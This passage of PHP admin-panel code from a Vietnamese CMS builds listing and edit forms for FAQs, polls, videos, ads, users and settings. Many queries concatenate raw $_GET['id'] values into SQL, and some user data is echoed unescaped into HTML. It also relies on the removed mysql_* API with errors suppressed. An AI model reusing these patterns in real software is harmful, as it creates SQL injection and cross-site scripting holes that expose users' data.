                                'efaq_fullname' => '',
                                'efaq_reply' => '',
                                'efaq_email' => '',
                                'efaq_bt' => 'Thêm câu hỏi',
                            ));
                    }
                    
                    $cat = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_cats WHERE id = ".$_GET['id']));
                    $cat_faq = @mysql_query("SELECT * FROM cily_cats WHERE cat_sub = 0 AND cat_type = 11 ORDER BY cat_order ASC");    
                    while ($cfaq = @mysql_fetch_array ($cat_faq)){
                        list($p_lcat_chon) = @mysql_fetch_array(@mysql_query("SELECT mod_name FROM cily_modules WHERE id = ".$cfaq['cat_type']));
                        if($_GET['id'] != $cfaq['id']) {
                             $cat_faq2 = @mysql_query("SELECT * FROM cily_cats WHERE cat_sub = ".$cfaq['id']." ORDER BY cat_order ASC");
                                while ($cfaq2 = @mysql_fetch_array ($cat_faq2)){
                                    
                                    $cat_faq3 = @mysql_query("SELECT * FROM cily_cats WHERE cat_sub = ".$cfaq2['id']." ORDER BY cat_order ASC");
                                        while ($cfaq3 = @mysql_fetch_array ($cat_faq3)){
                                            
                                            $cat_faq4 = @mysql_query("SELECT * FROM cily_cats WHERE cat_sub = ".$cfaq3['id']." ORDER BY cat_order ASC");
                                                while ($cfaq4 = @mysql_fetch_array ($cat_faq4)){
                                                    $tpl->assign(
                                                        array(
                                                            'cat_id4' => $cfaq4['id'],
                                                            'cat_name4' => $cfaq4['cat_name'],
                                                            'fcat_check4' => (($cfaq4['id'] == $faq['faq_cat']) || ($cfaq4['id'] == $_SESSION['sub_faq']) )?'selected=""':'',
                                                            ));
                                                    $tpl->parse('add_cfaq4');
                                            }
                                    
                                        $tpl->assign(
                                            array(
                                                'cat_id3' => $cfaq3['id'],
                                                'cat_name3' => $cfaq3['cat_name'],
                                                'fcat_check3' => (($cfaq3['id'] == $faq['faq_cat']) || ($cfaq3['id'] == $_SESSION['sub_faq']) )?'selected=""':'',
                                            ));
                                        $tpl->parse('add_cfaq3');
                                    }
                              
                                    $tpl->assign(
                                    array(
                                        'cat_id2' => $cfaq2['id'],
                                        'cat_name2' => $cfaq2['cat_name'],
                                        'fcat_check2' => (($cfaq2['id'] == $faq['faq_cat']) || ($cfaq2['id'] == $_SESSION['sub_faq']) )?'selected=""':'',
                                        ));
                                    $tpl->parse('add_cfaq2');
                              }
                              
                            $tpl->assign(
                                array(
                                    'cat_id' => $cfaq['id'],
                                    'cat_name' => $cfaq['cat_name'],
                                    'fcat_check' => (($cfaq['id'] == $faq['faq_cat']) || ($cfaq['id'] == $_SESSION['sub_faq']) )?'selected=""':'',

                                ));
                            $tpl->parse('add_cfaq');
                        }//End menu da cap
                    }

                    
                    $faq_list = @mysql_query("SELECT * FROM cily_faqs ORDER BY faq_order ASC");
                    while ($lfaq = @mysql_fetch_array ($faq_list)){
                        list($u_name) = @mysql_fetch_array(@mysql_query("SELECT cat_name FROM cily_cats WHERE id = ".$lfaq['faq_cat']));
                        $tpl->assign(
                            array(
                                'lfaq_id' => $lfaq['id'],
                                'lfaq_title' => $lfaq['faq_name'],
                                'lfaq_order' => $lfaq['faq_order'],
                                'lfaq_showcolor' => ($lfaq['faq_home'] == 0)?'#dbdbdb':'',
                                'lfaq_home' => $lfaq['faq_home'],
                                'lfaq_cat' => $u_name,
                                'lfaq_home1' => ($lfaq['faq_home'] == 1)?$lfaq['faq_home'] = 0:$lfaq['faq_home'] = 1,
                            ));
                        $tpl->parse('list_faq');
                    }
                    
                    break;
                    
                case '2':
                    $this_menu .= ' | Thăm dò ý kiến';
                    if($_GET['id'] > 0){
                        $poll = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_polls WHERE id = ".$_GET['id']));
                        $tpl->assign(
                            array(
                                'epoll_action' => 'edit',
                                'epoll_id' => $poll['id'],
                                'epoll_name' => $poll['poll_name'],
                                'epoll_order' => $poll['poll_order'],
                                'poll_active1' => ($poll['poll_active'] == 1)?'checked=""':'',
                                'epoll_bt' => 'Sửa thăm dò',
                            ));
                        $this_menu .= ' | Sửa thăm dò';
                    }
                    else {
                        $tpl->assign(
                            array(
                                'epoll_action' => 'add',
                                'epoll_id' => '',
                                'epoll_name' => '',
                                'epoll_order' => '1',
                                'poll_active1' => 'checked=""',
                                'epoll_bt' => 'Thêm thăm dò',
                            ));
                    }
                    
                    $poll_list = @mysql_query("SELECT * FROM cily_polls WHERE poll_pid = 0 ORDER BY poll_order ASC");    
                    while ($lpoll = @mysql_fetch_array ($poll_list)){
                        if($_GET['id'] != $lpoll['id']) {
                            $tpl->assign(
                                array(
                                    'poll_id' => $lpoll['id'],
                                    'poll_name' => $lpoll['poll_name'],
                                    'epoll_check' => ($lpoll['id'] == $poll['poll_pid'])?'selected=""':'',
                                ));
                            $tpl->parse('add_poll');
                        }
                        list($total_poll) = @mysql_fetch_array(@mysql_query("SELECT SUM(poll_votes) FROM cily_polls WHERE poll_pid = ".$lpoll['id']));
                        $sub_poll = @mysql_query("SELECT * FROM cily_polls WHERE poll_pid = ".$lpoll['id']." ORDER BY poll_order ASC");
                        while ($listsub = @mysql_fetch_array($sub_poll)){
                            $tpl->assign(
                                array(
                                    'lspoll_id' => $listsub['id'],
                                    'lspoll_name' => $listsub['poll_name'],
                                    'lspoll_order' => $listsub['poll_order'],
                                    'lspoll_pc' => round($listsub['poll_votes']/$total_poll*100, 1).'%',

                                ));
                            $tpl->parse('list_poll_sub');
                        }
                        $tpl->assign(
                            array(
                                'lpoll_id' => $lpoll['id'],
                                'lpoll_name' => $lpoll['poll_name'],
                                'lpoll_order' => $lpoll['poll_order'],
                                'lpoll_total' => ($total_poll == NULL)?'0':$total_poll,
                                'active_color' => ($lpoll['poll_active'] == 0)?'color: #dbdbdb':'',
                            ));
                        $tpl->parse('list_poll');
                    }  
                    break;
                    
                case '3':
                    $this_menu .= ' | Video';
                    if($_GET['id'] > 0){
                        $video = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_videos WHERE id = ".$_GET['id']));
                        $tpl->assign(
                            array(
                                'evideo_action' => 'edit',
                                'evideo_id' => $video['id'],
                                'evideo_order' => $video['video_order'],
                                'evideo_name' => $video['video_name'],
                                'evideo_url' => $video['video_url'],
                                'evideo_content' => $video['video_content'],
                                'evideo_bt' => 'Sửa video',
                            ));
                        $this_menu .= ' | Sửa video';
                    }
                    else {
                        $tpl->assign(
                            array(
                                'evideo_action' => 'add',
                                'evideo_id' => '',
                                'evideo_order' => ($_SESSION['video_order'] != NULL)?''.$_SESSION['video_order'].'" onfocus="if(this.value==\''.$_SESSION['video_order'].'\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\''.$_SESSION['video_order'].'\'':'1',
                                'evideo_content' => '',
                                'evideo_name' => '',
                                'evideo_url' => '#" onfocus="if(this.value==\'#\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\'#\'',
                                'evideo_bt' => 'Thêm video',
                            ));
                    }
                    
                    $video_list = @mysql_query("SELECT * FROM cily_videos ORDER BY video_order ASC");
                    while ($lvideo = @mysql_fetch_array ($video_list)){
                        list($lvid_name) = @mysql_fetch_array(@mysql_query("SELECT cat_name FROM cily_cats WHERE id = ".$lvideo['video_cat']));
                        $avideo_img = explode("=", $lvideo['video_url']);
                        $tpl->assign(
                            array(
                                'lvideo_id' => $lvideo['id'],
                                'lvideo_name' => $lvideo['video_name'],
                                'lvideo_url' => $lvideo['video_url'],
                                'lvideo_order' => $lvideo['video_order'],
                                'lvideo_img' => $avideo_img[1],
                                'lvideo_hot' => $lvideo['video_hot'],
                                'lvideo_cat' => $lvid_name,
                                'lvideo_content' => catchuoi($lvideo['video_content'],10),
                                'lvideo_showcolor' => ($lvideo['video_home'] == 0)?'#dbdbdb':'',
                                'lvideo_home1' => ($lvideo['video_home'] == 1)?$lvideo['video_home'] = 0:$lvideo['video_home'] = 1,
                                'lvideo_hot1' => ($lvideo['video_hot'] == 0)?$lvideo['video_hot'] = 1:$lvideo['video_hot'] = 0,
                                'lvideo_home' => $lvideo['video_home'],

                                
                            ));
                        $tpl->parse('list_video');
                    }

                    $cat_video = @mysql_query("SELECT * FROM cily_cats WHERE cat_sub = 0 AND cat_type = 13 ORDER BY cat_order ASC");    
                    while ($cvideo = @mysql_fetch_array ($cat_video)){
                        if($_GET['id'] != $cvideo['id']) {
                             $cat_video1 = @mysql_query("SELECT * FROM cily_cats WHERE cat_sub = ".$cvideo['id']." ORDER BY cat_order ASC");
                                while ($cvideo1 = @mysql_fetch_array ($cat_video1)){
                                    
                                    $cat_video2 = @mysql_query("SELECT * FROM cily_cats WHERE cat_sub = ".$cvideo1['id']." ORDER BY cat_order ASC");
                                        while ($cvideo2 = @mysql_fetch_array ($cat_video2)){
                                            
                                            $cat_video3 = @mysql_query("SELECT * FROM cily_cats WHERE cat_sub = ".$cvideo2['id']." ORDER BY cat_order ASC");
                                                while ($cvideo3 = @mysql_fetch_array ($cat_video3)){
                                                    $tpl->assign(
                                                        array(
                                                            'vdi_id3' => $cvideo3['id'],
                                                            'vdi_name3' => $cvideo3['cat_name'],
                                                            'vdi_check3' => (($cvideo3['id'] == $video['video_cat']) || ($cvideo3['id'] == $_SESSION['sub_video']) )?'selected=""':'',
                                                            ));
                                                    $tpl->parse('add_video3');
                                            }
                                    
                                        $tpl->assign(
                                            array(
                                                'vdi_id2' => $cvideo2['id'],
                                                'vdi_name2' => $cvideo2['cat_name'],
                                                'vdi_check2' => (($cvideo2['id'] == $video['video_cat']) || ($cvideo2['id'] == $_SESSION['sub_video']) )?'selected=""':'',
                                            ));
                                        $tpl->parse('add_video2');
                                    }
                              
                                    $tpl->assign(
                                    array(
                                        'vdi_id1' => $cvideo1['id'],
                                        'vdi_name1' => $cvideo1['cat_name'],
                                        'vdi_check1' => (($cvideo1['id'] == $video['video_cat']) || ($cvideo1['id'] == $_SESSION['sub_video']) )?'selected=""':'',
                                        ));
                                    $tpl->parse('add_video1');
                              }
                              
                            $tpl->assign(
                                array(
                                    'vdi_id' => $cvideo['id'],
                                    'vdi_name' => $cvideo['cat_name'],
                                    'vdi_check' => (($cvideo['id'] == $video['video_cat']) || ($cvideo['id'] == $_SESSION['sub_video']) )?'selected=""':'',

                                ));
                            $tpl->parse('add_video');
                        }//End menu da cap
                    }
                    
                    break;
                    case '4':
                        if($_GET['id'] > 0){
                            $support = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_supports WHERE id = ".$_GET['id']));
                            $tpl->assign(
                                array(
                                    'esupport_action' => 'edit',
                                    'esupport_id' => $support['id'],
                                    'esupport_name' => $support['support_name'],
                                    'esupport_mobile' => $support['support_mobile'],
                                    'esupport_yahoo' => $support['support_yahoo'],
                                    'esupport_skype' => $support['support_skype'],
                                    'esupport_email' => $support['support_email'],
                                    'esupport_order' => $support['support_order'],
                                    'esupport_fb' => $support['support_fb'],
                                    'esupport_zalo' => $support['support_zalo'],
                                    'esupport_bt' => 'Sửa hỗ trợ',
                                ));
                            $this_menu .= ' | Sửa';
                        }
                        else {
                            $tpl->assign(
                                array(
                                    'esupport_action' => 'add',
                                    'esupport_id' => '',
                                    'esupport_name' => 'Phạm Văn A" onfocus="if(this.value==\'Phạm Văn A\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\'Phạm Văn A\'',
                                    'esupport_mobile' => '',
                                    'esupport_yahoo' => '',
                                    'esupport_skype' => '',
                                    'esupport_fb' => '',
                                    'esupport_zalo' => '',
                                    'esupport_email' => '',
                                    'esupport_order' => ($_SESSION['sport_order'] != NULL)?''.$_SESSION['sport_order'].'" onfocus="if(this.value==\''.$_SESSION['sport_order'].'\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\''.$_SESSION['sport_order'].'\'':'1',
                                    'esupport_bt' => 'Thêm hỗ trợ',
                                ));
                        }
                        
                        
                        $support_list = @mysql_query("SELECT * FROM cily_supports ORDER BY support_order ASC");
                        while ($lsupport = @mysql_fetch_array ($support_list)){
                            $tpl->assign(
                                array(
                                    'lsupport_stt' => $lsupport['support_order'],
                                    'lsupport_id' => $lsupport['id'],
                                    'lsupport_name' => $lsupport['support_name'],
                                    'lsupport_mobile' => $lsupport['support_mobile'],
                                    'lsupport_yahoo' => $lsupport['support_yahoo'],
                                    'lsupport_email' => $lsupport['support_email'],
                                ));
                            $tpl->parse('list_support');
                        }
                    break;
                    case '5':
                            if($_GET['id'] > 0){
                                $page = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_posts WHERE post_type = 2 and id = ".$_GET['id']));
                                $tpl->assign(
                                    array(
                                        'epage_action' => 'edit',
                                        'epage_id' => $_GET['id'],
                                        'epage_title' => $page['post_name'],
                                        'epage_quote' => $page['post_quote'],
                                        'epage_content' => $page['post_content'],
                                        'epage_bt' => 'Sửa',
                                    ));
                                $this_menu .= ' | Sửa';
                            }
                            else {
                                $tpl->assign(
                                    array(
                                        'epage_action' => 'add',
                                        'epage_id' => '',
                                        'epage_title' => '',
                                        'epage_quote' => '',
                                        'epage_content' => '',
                                        'epage_bt' => 'Thêm',
                                    ));
                            }
                            
                            
                            $page_list = @mysql_query("SELECT * FROM cily_posts WHERE post_type = 2 ORDER BY id DESC");
                            while ($lpage = @mysql_fetch_array ($page_list)){
                                $tpl->assign(
                                    array(
                                        'lpage_id' => $lpage['id'],
                                        'lpage_title' => $lpage['post_name'],
                                        'lpage_time' => formatTime($lpage['post_time'], 1),
                                        'lpage_show' => $lpage['post_show'],
                                        'lpage_showcolor' => ($lpage['post_show'] == 0)?'#dbdbdb':'',
                                        'lpage_show1' => ($lpage['post_show'] == 0)?$lpage['post_show'] = 1:$lpage['post_show'] = 0,
                                    ));
                                $tpl->parse('list_page');
                            }
                    break;
                    case '6':
                        if($_GET['id'] > 0){
                            $ad = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_ads WHERE id = ".$_GET['id']));
                            $tpl->assign(
                                array(
                                    'ead_action' => 'edit',
                                    'ead_id' => $ad['id'],
                                    'ead_order' => $ad['ad_order'],
                                    'ead_name' => $ad['ad_name'],
                                    'ead_quote' => $ad['ad_quote'],
                                    'ead_img' => ($ad['ad_image'] == '')?''.get_option('url').'/data/images/df-img.png':$ad['ad_image'],
                                    'ead_url' => $ad['ad_link'],
                                    'ead_type1' => ($ad['ad_type'] == 1)?'selected=""':'',
                                    'ead_type2' => ($ad['ad_type'] == 2)?'selected=""':'',
                                    'ead_type3' => ($ad['ad_type'] == 3)?'selected=""':'',
                                    'ead_type4' => ($ad['ad_type'] == 4)?'selected=""':'',
                                    'ead_type5' => ($ad['ad_type'] == 5)?'selected=""':'',
                                    'ead_type6' => ($ad['ad_type'] == 6)?'selected=""':'',
                                    'ead_type7' => ($ad['ad_type'] == 7)?'selected=""':'',
                                    'ead_type8' => ($ad['ad_type'] == 8)?'selected=""':'',
                                    'ead_type9' => ($ad['ad_type'] == 9)?'selected=""':'',
                                    'ead_type10' => ($ad['ad_type'] == 10)?'selected=""':'',
                                    'ead_img_cf' => ($cat_seting1['mod_home'] == 1)?'<div class="content">    
                                    <input type="button" class="btn btn-default" value="Ảnh minh họa" onclick="$.showAkModal(\'../data/javascripts/editor/popups/insert_imgdemo.php?type=up\',\'Image\',450,400);" />
                                    <br />
                                    <p align="right" id="imgdemos" style="margin-top: 5px;"><img style="max-width: 115px; border: 1px solid #cbcbcb" src="'.$ad['ad_image'].'" />
                                        <input type="hidden" name="img" value="'.$ad['ad_image'].'" /></p>
                                </div>':'',
                                    'ead_bt' => 'Sửa liên kết',
                                ));
                            $this_menu .= ' | Sửa';
                        }
                        else {
                            $tpl->assign(
                                array(
                                    'ead_action' => 'add',
                                    'ead_id' => '',
                                    'ead_order' => ($_SESSION['link_order'] != NULL)?''.$_SESSION['link_order'].'" onfocus="if(this.value==\''.$_SESSION['link_order'].'\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\''.$_SESSION['link_order'].'\'':'1',
                                    'ead_name' => '',
                                    'ead_quote' => '',
                                    'ead_img' => ''.get_option('url').'/data/images/df-img.png',
                                    'ead_url' => '#',
                                    'ead_type1' => ($_SESSION['linkpost'] == '1')?'selected=""':'',
                                    'ead_type2' => ($_SESSION['linkpost'] == '2')?'selected=""':'',
                                    'ead_type3' => ($_SESSION['linkpost'] == '3')?'selected=""':'',
                                    'ead_type4' => ($_SESSION['linkpost'] == '4')?'selected=""':'',
                                    'ead_type5' => ($_SESSION['linkpost'] == '5')?'selected=""':'',
                                    'ead_type6' => ($_SESSION['linkpost'] == '6')?'selected=""':'',
                                    'ead_type7' => ($_SESSION['linkpost'] == '7')?'selected=""':'',
                                    'ead_type8' => ($_SESSION['linkpost'] == '8')?'selected=""':'',
                                    'ead_type9' => ($_SESSION['linkpost'] == '9')?'selected=""':'',
                                    'ead_type10' => ($_SESSION['linkpost'] == '10')?'selected=""':'',
                                    'ead_img_cf' => ($cat_seting1['mod_home'] == 1)?'<div class="content">    
                                    <input type="button" class="btn btn-default" value="Ảnh minh họa" onclick="$.showAkModal(\'../data/javascripts/editor/popups/insert_imgdemo.php?type=up\',\'Image\',450,400);" />
                                    <br />
                                    <p align="right" id="imgdemos" style="margin-top: 5px;"><img style="max-width: 115px; border: 1px solid #cbcbcb" src="'.get_option('url').'/data/images/df-img.png" />
                                        <input type="hidden" name="img" value="'.get_option('url').'/data/images/df-img.png" /></p>
                                </div>':'',
                                    'ead_bt' => 'Thêm liên kết',
                                ));
                        }
                        
                        
                        $ad_list = @mysql_query("SELECT * FROM cily_ads ORDER BY ad_order ASC");
                        while ($lad = @mysql_fetch_array ($ad_list)){
                            switch($lad['ad_type']){
                                case '1':
                                    $type = 'Quảng cáo phải';
                                    break;
                                case '2':
                                    $type = 'Quảng cáo trái';
                                    break;
                                case '3':
                                    $type = 'Trượt phải';
                                    break;
                                case '4':
                                    $type = 'Trượt trái';
                                    break;
                                case '5':
                                    $type = 'Liên kết trên';
                                    break;
                                case '6':
                                    $type = 'Liên kết dưới';
                                    break;
                                case '7':
                                    $type = 'Quảng cáo cuối';
                                    break;
                                case '8':
                                    $type = 'Popup';
                                    break;
                                case '9':
                                    $type = 'Quảng cáo giữa';
                                    break;
                                case '10':
                                    $type = 'Liên kết giữa';
                                    break;
                            }
                            $tpl->assign(
                                array(
                                    'lad_id' => $lad['id'],
                                    'lad_showcolor' => ($lad['ad_home'] == 0)?'#dbdbdb':'',
                                    'lad_name' => $lad['ad_name'],
                                    'lad_img' => $lad['ad_image'],
                                    'lad_url' => $lad['ad_link'],
                                    'lad_order' => $lad['ad_order'],
                                    'lad_type' => $type,
                                    'lad_home' => $lad['ad_home'],
                                    'lad_mausac' => mausac($lad['ad_type']),
                                    'lad_home1' => ($lad['ad_home'] == 1)?$lad['ad_home'] = 0:$lad['ad_home'] = 1,
                                ));
                            $tpl->parse('list_ad');
                        }
                    break;
                    
                
            }
            break;
            
        case '11':
            $this_menu = '| Thành viên';
            switch($sub_menu) {
                case '0':
                    $current_page = ($_GET['page'])?$_GET['page']:1;
                    if(isset($_GET['name'])) {
                        $s_name = addsla($_GET['name']);
                        $modpage = '&name='.($_GET['name']);
                        $u_where = 'WHERE user_nick LIKE "%'.$s_name.'%"';
                    }
                    else {
                        $modpage = '';
                        $u_where = 'WHERE id != 2';
                    }
                    $u_start = ($current_page -1) * get_option('paging');
                    $total_u = @mysql_num_rows(@mysql_query("SELECT id FROM cily_users ".$u_where.""));
                    $user_list = @mysql_query("SELECT * FROM cily_users ".$u_where." ORDER BY id DESC LIMIT ".$u_start.",".get_option('paging'));
                    list($userlevel) = @mysql_fetch_array(@mysql_query("SELECT user_level FROM cily_users WHERE id = ".$_SESSION['user']['id']));
                    while ($luser = @mysql_fetch_array ($user_list)){
                        list($u_class) = @mysql_fetch_array(@mysql_query("SELECT class_name FROM cily_class WHERE id = ".$luser['user_class']));
                        if($userlevel >= 9) $tpl->parse('not_userid');
                        $tpl->assign(
                            array(
                                'luser_id' => $luser['id'],
                                'luser_nick' => $luser['user_nick'],
                                'luser_name' => $luser['user_fullname'],
                                'luser_email' => $luser['user_email'],
                                'luser_birthday' => $luser['user_birthday'],
                                'luser_classid' => $luser['user_class'],
                                'luser_lastvisit' => formatTime($luser['user_lastvisit'],1),
                                'luser_class' => ($u_class)?$u_class:'Không có',
                                'luser_level' => level($luser['user_level']),
                                'luser_img' => ($luser['user_avatar'] == '')?''.get_option('url').'/data/images/df-img.png':$luser['user_avatar'],
                                'luser_mausac' => mausac($luser['user_class']),

                            ));
                        $tpl->parse('list_user');
                    }
                    $tpl->assign('lu_paging',paging(get_option('paging'),$current_page, $total_u, 'index.php?m=10',$modpage.'&page=' ,false));
                    $this_menu .= ' | Danh sách';
                    break;
                    
                case '1':
                        
                    for($i = 1; $i <= 31; $i ++){
                        $tpl->assign(
                            array(
                                'dd' => $i,
                            ));
                        $tpl->parse('list_dd2');
                    }    
                    for($i = 1; $i <= 12; $i ++){
                        $tpl->assign(
                            array(
                                'mm' => $i,
                            ));
                        $tpl->parse('list_mm2');
                    }    
                    for($i = 1940; $i <= 2010; $i ++){
                        $tpl->assign(
                            array(
                                'yyyy' => $i,
                            ));
                        $tpl->parse('list_yyyy2');
                    }
                    $tpl->assign(
                            array(
                                'lclass_img' => ''.get_option('url').'/data/images/df-img.png',
                               
                            ));

                    $class_list = @mysql_query("SELECT * FROM cily_class ORDER BY id DESC");
                    while ($lclass = @mysql_fetch_array ($class_list)){
                        $tpl->assign(
                            array(
                                'lclass_id' => $lclass['id'],
                                'lclass_name' => $lclass['class_name'],
                            ));
                        $tpl->parse('list_class2');
                    }
                    $this_menu .= ' | Thêm thành viên';
                    break;
                    
                case '2':
                    $this_menu .= ' | Nhóm';
                    if($_GET['id'] > 0){
                        $class = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_class WHERE id = ".$_GET['id']));
                        $tpl->assign(
                            array(
                                'eclass_action' => 'edit',
                                'eclass_id' => $class['id'],
                                'eclass_name' => $class['class_name'],
                                'eclass_bt' => 'Sửa nhóm',
                            ));
                        $this_menu .= ' | Sửa nhóm';
                    }
                    else {
                        $tpl->assign(
                            array(
                                'eclass_action' => 'add',
                                'eclass_id' => '',
                                'eclass_name' => '',
                                'eclass_bt' => 'Thêm nhóm',
                            ));
                    }
                    
                    
                    $class_list = @mysql_query("SELECT * FROM cily_class ORDER BY id DESC");
                    while ($lclass = @mysql_fetch_array ($class_list)){
                        $tpl->assign(
                            array(
                                'lclass_id' => $lclass['id'],
                                'lclass_name' => $lclass['class_name'],
                                'lclass_user' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_users WHERE user_class = ".$lclass['id'])),
                            ));
                        $tpl->parse('list_class3');
                    }
                    break;
                    
                case '3':
                    $euser = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_users WHERE id = ".$_GET['id']));
                    list($my_class) = @mysql_fetch_array(@mysql_query("SELECT class_name FROM cily_class WHERE id = ".$euser['user_class']));

                    if($_GET['id'] > 0){
                        $tpl->assign(
                        array(

                            'my_id' => $_GET['id'],
                            'my_nick' => $euser['user_nick'],
                            'my_salt' => $euser['user_salt'],
                            'my_name' => $euser['user_fullname'],
                            'my_email' => $euser['user_email'],
                            'my_add' => $euser['user_add'],
                            'my_phone' => $euser['user_phone'],
                            'my_regdate' => formatTime($euser['user_regdate'],2),
                            'my_lastvisit' => formatTime($euser['user_lastvisit'],1),
                            'my_sex1' => ($euser['user_sex'] == 1)?'selected=""':'',
                            'my_sex2' => ($euser['user_sex'] == 2)?'selected=""':'',
                            'my_info' => $euser['user_info'],
                            'my_img' => ($euser['user_avatar'] == '')?''.get_option('url').'/data/images/df-img.png':$euser['user_avatar'],
                            'my_level1' => level($euser['user_level']),
                            'my_classid' => $euser['user_class'],
                            'my_class1' => ($my_class)?$my_class:'Không có',
                            'my_birthday' => $euser['user_birthday'],
                            'my_product' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_products WHERE product_user =".$_GET['id'])),
                            'my_post' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_posts WHERE post_user =".$_GET['id'])),
                        ));
                        $this_menu .= ' | Sửa thành viên';
                    }

                    $birthday = birthday($euser['user_birthday']);
                    for($i = 1; $i <= 31; $i ++){
                        $tpl->assign(
                            array(
                                'dd' => $i,
                                'my_dd' => ($i == $birthday['d'])?'selected=""':'',
                            ));
                        $tpl->parse('list_dd4');
                    }    
                    for($i = 1; $i <= 12; $i ++){
                        $tpl->assign(
                            array(
                                'mm' => $i,
                                'my_mm' => ($i == $birthday['m'])?'selected=""':'',
                            ));
                        $tpl->parse('list_mm4');
                    }    
                    for($i = 1940; $i <= 2010; $i ++){
                        $tpl->assign(
                            array(
                                'yyyy' => $i,
                                'my_yyyy' => ($i == $birthday['y'])?'selected=""':'',
                            ));
                        $tpl->parse('list_yyyy4');
                    }
                    $class_list = @mysql_query("SELECT * FROM cily_class ORDER BY id DESC");
                    while ($lclass = @mysql_fetch_array ($class_list)){
                        $tpl->assign(
                            array(
                                'lclass_id' => $lclass['id'],
                                'lclass_name' => $lclass['class_name'],
                                'my_class' => ($euser['user_class'] == $lclass['id'])?'selected':'',
                            ));
                        $tpl->parse('list_class4');
                    }    
                    for($i = 0; $i <= 9; $i ++){
                        if($i == 5) $i = 9;
                        $tpl->assign(
                            array(
                                'level_id' => $i,
                                'level_name' => level($i),
                                'my_level' => ($i == $euser['user_level'])?'selected=""':'',
                            ));
                        $tpl->parse('list_level');
                    }
                    break;
            }
            break;
            
        case '12':
            $this_menu = '| Cấu hình';
            switch($sub_menu){
                case '0':
                    $tpl->assign(
                        array(
                            'option_name' => get_option('name'),
                            'option_email' => get_option('email'),
                            'option_desc' => get_option('description'),
                            'option_key' => get_option('keywords'),
                            'width_thumb' => get_option('width_thumb'),
                            'option_paging' => get_option('paging'),
                            'option_pagnews' => get_option('paging_news'),
                            'option_pagsp' => get_option('paging_sp'),
                            'option_pagindex' => get_option('paging_index'),
                            'option_pagalbum' => get_option('paging_album'),
                        ));

                    $tpl->assign(
                        array(
                            'close_check1' => (get_option('close') == 1)?'checked=""':'',
                            'close_check0' => (get_option('close') == 0)?'checked=""':'',
                            'close_info' => get_option('close_info'),
                        ));
                    $list_temp = @mysql_query("SELECT * FROM cily_templates");
                        while ($listtemp = @mysql_fetch_array ($list_temp)){
                            $tpl->assign(
                                array(
                                    'tpl_id' => $listtemp['id'],
                                    'tpl_name' => $listtemp['tpl_name'],
                                    'tpl_dir' => $listtemp['tpl_dir'],
                                    'tpl_active' => ($listtemp['tpl_active'] == '1')?'checked':'',
                                ));
                            $tpl->parse('list_temp');
                        }

                    $this_menu .= ' | Cấu hình chung';
                break;
                    
                case '1':
                    
                    if($_GET['lang'] == 'vi') {
                        $tpl->assign(
                        array(
                            'vn_curent' => 'font-weight: bold; color: #ccc',
                            'vn_title' => 'Tiếng Việt',
                        ));
                    }
                    elseif($_GET['lang'] == 'en') {
                        $tpl->assign(
                        array(
                            'en_curent' => 'font-weight: bold; color: #ccc',
                            'vn_title' => 'Tiếng Anh',
                        ));
                    }
                    elseif($_GET['lang'] == 'cn') {
                        $tpl->assign(
                        array(
                            'cn_curent' => 'font-weight: bold; color: #ccc',
                            'vn_title' => 'Tiếng Trung',
                        ));
                    }
                    elseif($_GET['lang'] == 'jp') {
                        $tpl->assign(
                        array(
                            'jp_curent' => 'font-weight: bold; color: #ccc',
                            'vn_title' => 'Tiếng Nhật',
                        ));
                    }
                    elseif($_GET['lang'] == 'kr') {
                        $tpl->assign(
                        array(
                            'kr_curent' => 'font-weight: bold; color: #ccc',
                            'vn_title' => 'Tiếng Hàn',
                        ));
                    }
                    
                    $file_edit = '../language/'.$getlang.'.php';
                    if(!is_file($file_edit)) 
                    { 
                        $fp_host = fopen($file_edit, "r");
                        fclose($fp_host);
                    }

                    if(is_writable($file_edit)) {
                        
                        $tpl->assign(
                           array(
                                'getlang' => $getlang,
                                'lang01' => $lang01,'lang02' => $lang02,'lang03' => $lang03,'lang04' => $lang04,'lang05' => $lang05,'lang06' => $lang06,
                                'lang07' => $lang07,'lang08' => $lang08,'lang09' => $lang09,'lang10' => $lang10,'lang11' => $lang11,'lang12' => $lang12,
                                'lang13' => $lang13,'lang14' => $lang14,'lang15' => $lang15,'lang16' => $lang16,'lang17' => $lang17,'lang18' => $lang18,
                                'lang19' => $lang19,'lang20' => $lang20,'lang21' => $lang21,'lang22' => $lang22,'lang23' => $lang23,'lang24' => $lang24,
                                'lang25' => $lang25,'lang26' => $lang26,'lang27' => $lang27,'lang28' => $lang28,'lang29' => $lang29,'lang30' => $lang30,
                                'lang31' => $lang31,'lang32' => $lang32,'lang33' => $lang33,'lang34' => $lang34,'lang35' => $lang35,'lang36' => $lang36,
                                'lang37' => $lang37,'lang38' => $lang38,'lang39' => $lang39,'lang40' => $lang40,'lang41' => $lang41,'lang42' => $lang42,
                                'lang43' => $lang43,'lang44' => $lang44,'lang45' => $lang45,'lang46' => $lang46,'lang47' => $lang47,'lang48' => $lang48,
                                'lang49' => $lang49,'lang50' => $lang50,'lang51' => $lang51,'lang52' => $lang52,'lang53' => $lang53,'lang54' => $lang54,
                                'lang55' => $lang55,'lang56' => $lang56,'lang57' => $lang57,'lang58' => $lang58,'lang59' => $lang59,'lang60' => $lang60,
                                'lang61' => $lang61,'lang62' => $lang62,'lang63' => $lang63,'lang64' => $lang64,'lang65' => $lang65,'lang66' => $lang66,
                                'lang67' => $lang67,'lang68' => $lang68,'lang69' => $lang69,
                            ));
                         $tpl->parse('total_ok');
                    }
                    else {
                        $tpl->parse('total_ko');
                    }
                    $_SESSION['link'] = $_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?".$_SERVER['QUERY_STRING'];
                    $this_menu .= ' | Ngôn ngữ';
                    break;
                case '4':
                    $this_menu .= ' | Danh sách Modules';
